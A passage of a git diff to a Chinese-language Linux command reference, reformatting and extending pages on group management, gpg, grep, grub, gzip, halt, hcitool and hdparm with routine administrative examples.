- [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/)
- [git详解](http://www.open-open.com/lib/view/open1328069609436.html)
@@ -1091,5 +1113,3 @@ git config --global core.quotepath false
- [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6)
- [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710)
- [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email)
-
-
diff --git a/command/gpasswd.md b/command/gpasswd.md
index fa30f324a73..9d1d8616619 100644
--- a/command/gpasswd.md
+++ b/command/gpasswd.md
@@ -1,21 +1,21 @@
gpasswd
===
-
+
Linux下工作组文件的管理工具
## 补充说明
**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。
-### 语法
+### 语法
-```
+```shell
gpasswd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:添加用户到组;
-d:从组删除用户;
-A:指定管理员;
@@ -24,15 +24,15 @@ gpasswd(选项)(参数)
-R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。
```
-### 参数
+### 参数
组:指定要管理的工作组。
-### 实例
+### 实例
如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。
-```
+```shell
gpasswd groupname
```
@@ -40,13 +40,13 @@ gpasswd groupname
所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。
-```
+```shell
gpasswd -A peter users
```
这样peter就是users群组的管理员,就可以执行下面的操作:
-```
+```shell
gpasswd -a mary users
gpasswd -a allen users
```
@@ -55,9 +55,8 @@ gpasswd -a allen users
所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户:
-```
+```shell
gpasswd -a user_name group_name
```
-
\ No newline at end of file
diff --git a/command/gpg.md b/command/gpg.md
new file mode 100644
index 00000000000..242d3cfc4dc
--- /dev/null
+++ b/command/gpg.md
@@ -0,0 +1,88 @@
+gpg
+===
+
+可用于签名、检查、加密或解密的工具
+
+### 支持算法:
+
+Pubkey: `RSA`, `ELG`, `DSA`, `ECDH`, `ECDSA`, `EDDSA`
+Cipher: `IDEA`, `3DES`, `CAST5`, `BLOWFISH`, `AES`, `AES192`, `AES256`, `TWOFISH`,
+ `CAMELLIA128`, `CAMELLIA192`, `CAMELLIA256`
+Hash: `SHA1`, `RIPEMD160`, `SHA256`, `SHA384`, `SHA512`, `SHA224`
+Compression: `Uncompressed`, `ZIP`, `ZLIB`, `BZIP2`
+
+### 语法
+```shell
+gpg [选项] [文件...]
+```
+
+### 参数:
+
+```shell
+ -s, --sign 签名
+ --clear-sign 生成明文签名
+ -b, --detach-sign 生成一个独立的签名
+ -e, --encrypt 加密数据
+ -c, --symmetric 仅使用对称密码进行加密
+ -d, --decrypt 解密数据 (默认)
+ --verify 验签
+ -k, --list-keys 列出密钥
+ --list-signatures 列出密钥和签名
+ --check-signatures 列出并检查密钥签名
+ --fingerprint 列出密钥和指纹
+ -K, --list-secret-keys 列出私钥
+ --generate-key 生成新的密钥对
+ --quick-generate-key 快速生成新的密钥对
+ --quick-add-uid 快速添加新的用户ID
+ --quick-revoke-uid 快速撤销用户ID
+ --quick-set-expire 快速设置新的过期日期
+ --full-generate-key 全功能密钥对生成
+ --generate-revocation 生成撤销证书
+ --delete-keys 从公钥环中移除密钥
+ --delete-secret-keys 从私钥环中移除密钥
+ --quick-sign-key 快速签名密钥
+ --quick-lsign-key 快速在本地签名密钥
+ --quick-revoke-sig 快速撤销密钥签名
+ --sign-key 签名密钥
+ --lsign-key 本地签名密钥
+ --edit-key 签名或编辑密钥
+ --change-passphrase 更改密码短语
+ --export 导出密钥
+ --send-keys 将密钥导出到密钥服务器
+ --receive-keys 从密钥服务器导入密钥
+ --search-keys 在密钥服务器上搜索密钥
+ --refresh-keys 从密钥服务器更新所有密钥
+ --import 导入/合并密钥
+ --card-status 打印卡片状态
+ --edit-card 更改卡片上的数据
+ --change-pin 更改卡片的PIN码
+ --update-trustdb 更新信任数据库
+ --print-md 打印消息摘要
+ --server 以服务器模式运行
+ --tofu-policy VALUE 为密钥设置TOFU策略
+```
+
+### 选项:
+
+```shell
+ -a, --armor 指定ascii格式的输出
+ -r, --recipient USER-ID 对特定用户ID的加密
+ -u, --local-user USER-ID 使用 USER-ID 进行签名或解密
+ -z N 设置压缩级别为N(0表示禁用)
+ --textmode 使用规范文本模式
+ -o, --output FILE 将输出写入文件FILE
+ -v, --verbose 详细模式
+ -n, --dry-run 不做任何更改
+ -i, --interactive 在覆盖前提示
+ --openpgp 使用严格的OpenPGP行为
+```
+
+### 示例:
+
+```shell
+ -se -r Bob [file] 为用户Bob签名并加密
+ --clear-sign [file] 生成明文签名
+ --detach-sign [file] 生成一个独立的签名
+ --list-keys [names] 显示密钥
+ --fingerprint [names] 显示指纹
+```
diff --git a/command/gpm.md b/command/gpm.md
index 32add0dd208..adffb8aee6f 100644
--- a/command/gpm.md
+++ b/command/gpm.md
@@ -1,21 +1,21 @@
gpm
===
-
+
提供文字模式下的滑鼠事件处理
## 补充说明
**gpm命令** 是Linux的虚拟控制台下的鼠标服务器,用于在虚拟控制台下实现鼠标复制和粘贴文本的功能。
-### 语法
+### 语法
-```
+```shell
gpm(选项)
```
-### 选项
+### 选项
-```
+```shell
-a:设置加速值;
-b:设置波特率;
-B:设置鼠标按键次序;
@@ -24,4 +24,3 @@ gpm(选项)
```
-
\ No newline at end of file
diff --git a/command/grep.md b/command/grep.md
index c7c5b065495..e52082e6ce1 100644
--- a/command/grep.md
+++ b/command/grep.md
@@ -5,9 +5,9 @@ grep
## 补充说明
-**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能多种命令配合使用,使用上十分灵活。
+**grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。
-### 选项
+### 选项
```shell
-a --text # 不要忽略二进制数据。
@@ -28,6 +28,7 @@ grep
-l --file-with-matches # 列出文件内容符合指定的范本样式的文件名称。
-L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。
-n --line-number # 在显示符合范本样式的那一列之前,标示出该列的编号。
+-P --perl-regexp # PATTERN 是一个 Perl 正则表达式
-q --quiet或--silent # 不显示任何信息。
-R/-r --recursive # 此参数的效果和指定“-d recurse”参数相同。
-s --no-messages # 不显示错误信息。
@@ -49,7 +50,7 @@ $ # 锚定行的结束 如:'grep$' 匹配所有以grep结尾的行。
* # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。
.* # 一起用代表任意字符。
[] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。
-[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。
+[^] # 匹配一个不在指定范围内的字符,如:'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头,紧跟 rep 的行
\(..\) # 标记匹配字符,如'\(love\)',love被标记为1。
\< # 锚定单词的开始,如:'\ # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。
@@ -95,6 +96,12 @@ grep -E "[1-9]+"
# 或
egrep "[1-9]+"
```
+使用正则表达式 **-P** 选项:
+
+```shell
+grep -P "(\d{3}\-){2}\d{4}" file_name
+```
+
只输出文件中匹配到的部分 **-o** 选项:
@@ -112,6 +119,12 @@ line.
grep -c "text" file_name
```
+搜索命令行历史记录中 输入过 `git` 命令的记录:
+
+```shell
+history | grep git
+```
+
输出包含匹配字符串的行数 **-n** 选项:
```shell
@@ -128,7 +141,7 @@ grep "text" -n file_1 file_2
```shell
echo gun is not unix | grep -b -o "not"
7:not
-#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。
+#一行中字符串的字符偏移是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。
```
搜索多个文件并查找匹配文本在哪些文件中:
@@ -137,7 +150,7 @@ echo gun is not unix | grep -b -o "not"
grep -l "text" file1 file2 file3...
```
-### grep递归搜索文件
+### grep递归搜索文件
在多级目录中对文本进行递归搜索:
@@ -158,6 +171,7 @@ echo "hello world" | grep -i "HELLO"
```shell
echo this is a text line | grep -e "is" -e "line" -o
is
+is
line
#也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。
@@ -239,4 +253,4 @@ b
```
-
+
diff --git a/command/groupadd.md b/command/groupadd.md
index 0641b7e7275..9cc1bce1bbe 100644
--- a/command/groupadd.md
+++ b/command/groupadd.md
@@ -1,40 +1,39 @@
groupadd
===
-
+
用于创建一个新的工作组
## 补充说明
**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。
-### 语法
+### 语法
-```
+```shell
groupadd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-g:指定新建工作组的id;
-r:创建系统工作组,系统工作组的组ID小于500;
--K:覆盖配置文件“/ect/login.defs”;
+-K:覆盖配置文件“/etc/login.defs”;
-o:允许添加组ID号不唯一的工作组。
```
-### 参数
+### 参数
组名:指定新建工作组的组名。
-### 实例
+### 实例
建立一个新组,并设置组ID加入系统:
-```
+```shell
groupadd -g 344 jsdigname
```
此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。
-
\ No newline at end of file
diff --git a/command/groupdel.md b/command/groupdel.md
index 081c1b14917..1c58b8fad7f 100644
--- a/command/groupdel.md
+++ b/command/groupdel.md
@@ -1,28 +1,27 @@
groupdel
===
-
+
用于删除指定的工作组
## 补充说明
**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。
-### 语法
+### 语法
-```
+```shell
groupdel(参数)
```
-### 参数
+### 参数
组:要删除的工作组名。
-### 实例
+### 实例
-```
+```shell
groupadd damon //创建damon工作组
groupdel damon //删除这个工作组
```
-
\ No newline at end of file
diff --git a/command/groupmems.md b/command/groupmems.md
new file mode 100644
index 00000000000..16acdb99820
--- /dev/null
+++ b/command/groupmems.md
@@ -0,0 +1,111 @@
+groupmems
+===
+
+管理用户主要组的成员
+
+## 补充说明
+
+`groupmems` 命令允许用户管理他/她自己的组成员列表,而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组(即来宾/来宾)的系统。
+
+只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。
+
+### 语法
+
+```shell
+groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p
+```
+
+### 选项
+
+```bash
+-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+
+-d, --delete user_name
+# 从组成员列表中删除用户。
+# 如果 /etc/gshadow 文件存在,用户将从组的成员和管理员列表中删除。
+# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+
+-g, --group group_name # 超级用户可以指定要修改的组成员列表。
+-l, --list # 列出组成员列表。
+-p, --purge # 从组成员列表中清除所有用户。
+# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。
+```
+
+## 配置
+
+`/etc/login.defs` 中的以下配置变量会更改此工具的行为:
+
+```shell
+MAX_MEMBERS_PER_GROUP (number)
+```
+
+每个组条目的最大成员数。 当达到最大值时,在 `/etc/group` 中启动一个新的组条目(行)(具有相同的名称、相同的密码和相同的 GID)。
+
+默认值为 0,表示组中的成员数量没有限制。
+
+此功能(拆分组)允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。
+
+如果你需要强制执行这样的限制,你可以使用 25。
+
+注意:并非所有工具都支持拆分组(即使在 Shadow 工具包中)。 除非你真的需要它,否则你不应该使用这个变量。
+
+## 例子
+
+groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中,以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。
+
+```shell
+groupadd -r groups
+chmod 2770 groupmems
+
+chown root.groups groupmems
+groupmems -g groups -a gk4
+```
+
+让我们创建一个新用户和一个新组并验证结果:
+
+```shell
+useradd student
+passwd student
+groupadd staff
+```
+
+使用户 student 成为组人员的成员:
+
+```shell
+groupmems -g staff -a student
+groupmems -g staff -l
+```
+
+将用户添加到组:
+
+```shell
+groupmems -a mike -g SUPPORT
+groupmems --add mike -g SUPPORT
+```
+
+从组中删除/移除用户:
+
+```shell
+groupmems -d mike SUPPORT -g SUPPORT
+groupmems --delete mike SUPPORT -g SUPPORT
+```
+
+更改组名称:
+
+```shell
+groupmems -g SUPPORT
+```
+
+从组中删除用户:
+
+```shell
+groupmems -p -g SUPPORT
+groupmems --purge -g SUPPORT
+```
+
+要列出组的成员:
+
+```shell
+groupmems -l -g SUPPORT
+groupmems --list -g SUPPORT
+```
diff --git a/command/groupmod.md b/command/groupmod.md
index 68141abaf10..2c30da4397d 100644
--- a/command/groupmod.md
+++ b/command/groupmod.md
@@ -1,29 +1,28 @@
groupmod
===
-
+
更改群组识别码或名称
## 补充说明
**groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。
-### 语法
+### 语法
-```
+```shell
groupmod(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-g<群组识别码>:设置欲使用的群组识别码;
-o:重复使用群组识别码;
-n<新群组名称>:设置欲使用的群组名称。
```
-### 参数
+### 参数
组名:指定要修改的工作的组名。
-
\ No newline at end of file
diff --git a/command/groups.md b/command/groups.md
index fdb65fd8810..19e533dba0d 100644
--- a/command/groups.md
+++ b/command/groups.md
@@ -1,37 +1,46 @@
groups
===
-
-用来打印指定用户所属的工作组
-## 补充说明
+打印指定用户所在组的名称。
-**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。
+## 概要
-### 语法
-
-```
-groups(选项)(参数)
+```shell
+groups [OPTION]... [username]...
```
-### 选项
+## 主要用途
-```
--help:显示命令的帮助信息;
---version:显示命令的版本信息。
+- 打印指定用户所在组的名称。
+
+## 选项
+
+```shell
+--help 显示帮助信息并退出。
+--version 显示版本信息并退出。
```
-### 参数
+## 参数
-用户名:指定要打印所属工作组的用户名。
+username(可选):可以是一到多个,不提供时默认为当前用户。
-### 实例
+## 返回值
+
+返回0表示成功,返回非0值表示失败。
+
+## 例子
显示linux用户所属的组
-```
-groups linux
+```shell
+[root@localhost ~]# groups linux
linux : linux adm dialout cdrom plugdev lpadmin admin sambashare
```
+### 注意
+
+1. 该命令等价于 `id -Gn`。
+2. 每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。
+3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 groups`,`info coreutils 'groups invocation'`。
+
-
\ No newline at end of file
diff --git a/command/grpck.md b/command/grpck.md
index 2d0a6fea1b6..e8dc8aa152b 100644
--- a/command/grpck.md
+++ b/command/grpck.md
@@ -1,6 +1,6 @@
grpck
===
-
+
用于验证组文件的完整性
## 补充说明
@@ -9,42 +9,41 @@ grpck
grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。
-### 语法
+### 语法
-```
+```shell
grpck(选项)
```
-### 选项
+### 选项
-```
+```shell
-r:只读模式;
-s:排序组id。
```
-### 实例
+### 实例
对组账号和影子文件进行验证:
-```
-grpck //必须以管理员身份运行
-grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。
+```shell
+grpck # 必须以管理员身份运行
+grpck /etc/group /etc/gshadow # 后面两句一样,如果没有输出信息,则表示没有错误。
```
测试错误的实例:
-```
-**echo check_user:x: >> /etc/group //添加一行错误的格式数据
+```shell
+**echo check_user:x: >> /etc/group # 添加一行错误的格式数据
cat /etc/group | grep check_user**
-check_user:x: //这儿GID字段为空,是错误的。
+check_user:x: # 这儿GID字段为空,是错误的。
**grpck /etc/group**
invalid group file entry
-delete line 'check_user:x:'? y //提示是否删除
-grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。
+delete line 'check_user:x:'? y # 提示是否删除
+grpck: the files have been updated # 这时已经删除了错误的行,提示文件已经更新。
- **cat /etc/group | grep check_user //没有查到,已经删除了。**
+ **cat /etc/group | grep check_user # 没有查到,已经删除了。**
```
-
\ No newline at end of file
diff --git a/command/grpconv.md b/command/grpconv.md
index 4a44f60157a..6468cf9462c 100644
--- a/command/grpconv.md
+++ b/command/grpconv.md
@@ -1,40 +1,39 @@
grpconv
===
-
+
用来开启群组的投影密码
## 补充说明
**grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。
-### 语法
+### 语法
-```
+```shell
grpconv
```
-### 实例
+### 实例
设置cdy组密码
-```
+```shell
groupmod --password 123456 cdy
cat /etc/group | grep cdy
-cdy:123456:1000: //看出密码是123456
+cdy:123456:1000: # 看出密码是123456
```
启动影子系统
-```
+```shell
grpconv
cat /etc/group | grep cdy
-cdy:x:1000: //看出密码段已经被x替代
+cdy:x:1000: # 看出密码段已经被x替代
cat /etc/gshadow | grep cdy
-cdy:123456:: //已经移到影子文件了
+cdy:123456:: # 已经移到影子文件了
```
注:gshadow, shadow只有root权限才可以查看。
-
\ No newline at end of file
diff --git a/command/grpunconv.md b/command/grpunconv.md
index 194277c9561..b623ab61361 100644
--- a/command/grpunconv.md
+++ b/command/grpunconv.md
@@ -1,40 +1,39 @@
grpunconv
===
-
+
用来关闭群组的投影密码
## 补充说明
**grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。
-### 语法
+### 语法
-```
+```shell
grpunconv
```
-### 实例
+### 实例
未关闭的情况
-```
+```shell
cat /etc/gshadow | grep cdy
cdy:123456::
```
关闭影子密码
-```
+```shell
cat /etc/gshadow
cat: /etc/gshadow: 没有那个文件或目录
```
查看密码已经复制到`/etc/group`中了。
-```
+```shell
cat /etc/group | grep cdy
cdy:123456:1000:
```
-
\ No newline at end of file
diff --git a/command/grub.md b/command/grub.md
index aa4c278497a..9de9c456598 100644
--- a/command/grub.md
+++ b/command/grub.md
@@ -1,21 +1,21 @@
grub
===
-
+
多重引导程序grub的命令行shell工具
## 补充说明
**grub命令** 是多重引导程序grub的命令行shell工具。
-### 语法
+### 语法
-```
+```shell
grub(选项)
```
-### 选项
+### 选项
-```
+```shell
--batch:打开批处理模式;
--boot-drive=<驱动器>:指定stage2的引导驱动器;
--config-file<配置文件>:指定stage2的配置文件;
@@ -29,7 +29,7 @@ grub(选项)
--read-only:只读模式。
```
-### 实例
+### 实例
利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。
@@ -57,7 +57,7 @@ grub(选项)
依次输入命令:
-```
+```shell
root (hd0,1) /* 假设 /dev/hda2 是你的 /boot 所在的分区 */
kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3 /* 假设 /dev/hda3 是你的 / 所在的分区 */
initrd /boot/initrd.img-2.6.15-26-386
@@ -69,4 +69,6 @@ boot
这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin`
-
\ No newline at end of file
+### 参考资料
+
+- 自由软件基金会 - grub 文档
diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md
new file mode 100644
index 00000000000..80c9dd3c2f9
--- /dev/null
+++ b/command/grub2-mkconfig.md
@@ -0,0 +1,30 @@
+grub2-mkconfig
+===
+
+生成 grub.cfg 配置文件。
+
+## 语法
+
+```shell
+用法: grub2-mkconfig [OPTION]
+生成 grub 配置文件
+
+ -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout]
+ -h, --help 打印这个文件并退出
+ -v, --version 打印版本信息并退出
+
+报告 Bug 通过 .
+
+```
+
+## 实例
+
+生成新的grub配置文件
+
+```shell
+grub2-mkconfig -o /boot/grub2/grub.cfg
+
+# 或者
+
+grub2-mkconfig > /boot/grub2/grub.cfg
+```
diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md
new file mode 100644
index 00000000000..8cbd5697cb9
--- /dev/null
+++ b/command/grub2-set-default.md
@@ -0,0 +1,45 @@
+grub2-set-default
+===
+
+设置系统默认的启动内核
+
+## 语法
+
+```shell
+Usage: grub2-set-default [OPTION] MENU_ENTRY
+Set the default boot menu entry for GRUB.
+This requires setting GRUB_DEFAULT=saved in /etc/default/grub.
+
+ -h, --help print this message and exit
+ -v, --version print the version information and exit
+ --boot-directory=DIR expect GRUB images under the directory DIR/grub2
+ instead of the /boot/grub2 directory
+
+MENU_ENTRY is a number, a menu item title or a menu item identifier.
+
+Report bugs to .
+
+```
+
+## 实例
+
+查看可选的系统内核:
+```shell
+# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg
+CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core)
+CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core)
+CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)
+CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core)
+```
+
+grub2-set-default后面的序号从0开始。所以,如果想设置第一个选项为默认启动内核,则可以使用下面的命令:
+
+```shell
+# grub2-set-default 0
+```
+如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2
+
+重启系统
+```shell
+~]# init 6
+```
\ No newline at end of file
diff --git a/command/gunzip.md b/command/gunzip.md
index babd22fafed..4efa2da8fa4 100644
--- a/command/gunzip.md
+++ b/command/gunzip.md
@@ -1,21 +1,21 @@
gunzip
===
-
+
用来解压缩文件
## 补充说明
**gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。
-### 语法
+### 语法
-```
+```shell
gunzip(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a或——ascii:使用ASCII文字模式;
-c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备;
-f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
@@ -32,22 +32,22 @@ gunzip(选项)(参数)
-V或——version:显示版本信息;
```
-### 参数
+### 参数
文件列表:指定要解压缩的压缩包。
-### 实例
+### 实例
首先将`/etc`目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到`/opt`目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。
-```
+```shell
zip –r /opt/etc.zip /etc
gzip -9v /opt/etc.zip
```
查看上述etc.zip.gz文件的压缩信息。
-```
+```shell
gzip -l /opt/etc.zip.gz
compressed uncompressed ratio uncompressed_name
11938745 12767265 6.5% /opt/etc.zip
@@ -55,7 +55,7 @@ compressed uncompressed ratio uncompressed_name
解压上述etc.zip.gz文件到当前目录。
-```
+```shell
[root@mylinux ~]#gzip –d /opt/etc.zip.gz
或者执行
[root@mylinux ~]#gunzip /opt/etc.zip.gz
@@ -64,4 +64,3 @@ compressed uncompressed ratio uncompressed_name
通过上面的示例可以知道`gzip –d`等价于`gunzip`命令。
-
\ No newline at end of file
diff --git a/command/gzexe.md b/command/gzexe.md
index 3c1b4614e56..dcb26bc2b1e 100644
--- a/command/gzexe.md
+++ b/command/gzexe.md
@@ -1,27 +1,26 @@
gzexe
===
-
+
用来压缩可执行文件
## 补充说明
**gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。
-### 语法
+### 语法
-```
+```shell
gzexe(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:解压缩被gzexe压缩过的可执行文件。
```
-### 参数
+### 参数
文件:指定需要压缩的可执行文件。
-
\ No newline at end of file
diff --git a/command/gzip.md b/command/gzip.md
index b9b96b0ad89..4c946b80fe5 100644
--- a/command/gzip.md
+++ b/command/gzip.md
@@ -11,13 +11,13 @@ gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩
### 语法
-```
+```shell
gzip(选项)(参数)
```
### 选项
-```
+```shell
-a或——ascii:使用ASCII文字模式;
-d或--decompress或----uncompress:解开压缩文件;
-f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
@@ -36,6 +36,7 @@ gzip(选项)(参数)
--best:此参数的效果和指定“-9”参数相同;
--fast:此参数的效果和指定“-1”参数相同。
-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。
+-c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。
```
### 参数
@@ -46,31 +47,31 @@ gzip(选项)(参数)
把test6目录下的每个文件压缩成.gz文件
-```
+```shell
gzip *
```
把上例中每个压缩的文件解压,并列出详细的信息
-```
+```shell
gzip -dv *
```
详细显示例1中每个压缩的文件的信息,并不解压
-```
+```shell
gzip -l *
```
压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz
-```
+```shell
gzip -r log.tar
```
递归的压缩目录
-```
+```shell
gzip -rv test6
```
@@ -78,9 +79,16 @@ gzip -rv test6
递归地解压目录
-```
+```shell
gzip -dr test6
```
+保留原始文件,把压缩/解压流重定向到新文件
+
+```shell
+gzip -c aa > aa.gz
+gzip -dc bb.gz > bb
+```
+
+
-
diff --git a/command/halt.md b/command/halt.md
index 0ee783a21c0..8f71e43e4df 100644
--- a/command/halt.md
+++ b/command/halt.md
@@ -1,21 +1,21 @@
halt
===
-
+
关闭正在运行的Linux操作系统
## 补充说明
**halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。
-### 语法
+### 语法
-```
+```shell
halt(选项)
```
-### 选项
+### 选项
-```
+```shell
-d:不要在wtmp中记录;
-f:不论目前的runlevel为何,不调用shutdown即强制关闭系统;
-i:在halt之前,关闭全部的网络界面;
@@ -24,12 +24,11 @@ halt(选项)
-w:仅在wtmp中记录,而不实际结束系统。
```
-### 实例
+### 实例
-```
-halt -p //关闭系统后关闭电源。
-halt -d //关闭系统,但不留下纪录。
+```shell
+halt -p # 关闭系统后关闭电源。
+halt -d # 关闭系统,但不留下纪录。
```
-
\ No newline at end of file
diff --git a/command/hcitool.md b/command/hcitool.md
new file mode 100644
index 00000000000..1e21b9ebce3
--- /dev/null
+++ b/command/hcitool.md
@@ -0,0 +1,77 @@
+hcitool
+===
+
+hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。
+
+## 安装
+
+hcitool是一个Linux命令行工具,通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool,可以使用以下命令进行安装(debian系列发行示例)
+
+```bash
+sudo apt-get install bluez
+```
+
+## 使用
+注意事项:
+1. 使用ble相关命令需要提权如:lescan
+
+
+### 语法
+
+`hcitool [options] [command parameters]`
+
+### 命令
+
+```bash
+ dev 显示本地设备
+ inq 查询远程设备
+ scan 扫描远程设备
+ name 从远程设备获取名称
+ info 从远程设备获取信息
+ spinq 启动定期查询
+ epinq 退出定期查询
+ cmd 提交任意HCI命令
+ con 显示活动连接
+ cc 创建到远程设备的连接
+ dc 断开与远程设备的连接
+ sr 交换机中心/外围角色
+ cpt 更改连接数据包类型
+ rssi 显示连接rssi
+ lq 显示链路质量
+ tpl 显示发射功率电平
+ afh 显示afh通道图
+ lp 设置/显示链接策略设置
+ lst 设置/显示链接监控超时
+ auth 请求身份验证
+ enc 设置连接加密
+ key 更改连接链接键
+ clkoff 读取时钟偏移
+ clock 读取本地或远程时钟
+ lescan 启动LE扫描
+ leinfo 获取LE远程信息
+ lealadd 将设备添加到LE接受列表
+ lealrm 从LE接受列表中删除设备
+ lealsz LE接受列表的读取大小
+ lealclr 清除LE接受列表
+
+```
+### 常用简单示例
+1.扫描周围的蓝牙设备
+
+`hcitool scan`
+
+2.通过mac地址连接到蓝牙设备
+
+`hcitool cc `
+
+3.显示当前蓝牙适配器信息
+
+`hcitool dev`
+
+4.通过mac地址找到蓝牙名称
+
+`hcitool name `
+
+5.显示当前蓝牙活动连接信息
+
+`hcitool con`
diff --git a/command/hdparm.md b/command/hdparm.md
index 36eda9e75c4..4b7ea235c9d 100644
--- a/command/hdparm.md
+++ b/command/hdparm.md
@@ -1,27 +1,27 @@
hdparm
===
-
+
显示与设定硬盘的参数
## 补充说明
**hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。
-### 语法
+### 语法
-```
+```shell
hdparm(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定;
